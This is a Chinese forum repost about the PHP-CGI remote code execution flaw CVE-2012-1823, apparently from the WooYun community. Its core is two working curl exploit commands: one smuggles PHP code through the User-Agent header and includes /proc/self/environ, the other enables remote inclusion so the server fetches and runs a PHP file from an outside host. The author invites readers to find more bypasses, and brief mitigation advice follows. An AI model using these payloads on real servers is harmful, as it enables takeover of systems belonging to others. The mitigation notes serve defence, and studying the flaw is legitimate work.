国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi下是无法使用-r,-f等直接执行命令的参数的。只有少数几个参数可以使用,因此公告里也就给出了使用-s参数读取源文件的poc。

另外关于RCE的PoC原文没有给出,不过说明的确可以远程执行代码。那么他是怎么做到的呢?我粗略想了想,可以利用的参数只有一个-d参数了,作用是给php定义一个ini的值。

那么利用它能做什么呢?我给出如下两个RCE的PoC方案:

1、本地包含直接执行代码:

curl -H "USER-AGENT: <?system (‘id’);die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n

2、远程包含执行代码:

curl http://target.com/test.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.test.com/2.txt

经过测试以上两者都可以,但其实就是一个包含文件的两种使用而已。

各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢?这会是一个很好玩的技术挑战。

补充:

防治方法是:

1. 升级到官方最新版

2. 下载这个漏洞的临时补丁http://eindbazen.net/wp-content/uploads/2012/05/CVE-2012-1823-mitigation.tar.gz

受影响的平台:APACHE+MOD_CGI+PHP-CGI模式。

转自:http://zone.wooyun.org/content/151

php cgi远程任意代码执行漏洞

Tags:PHP

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐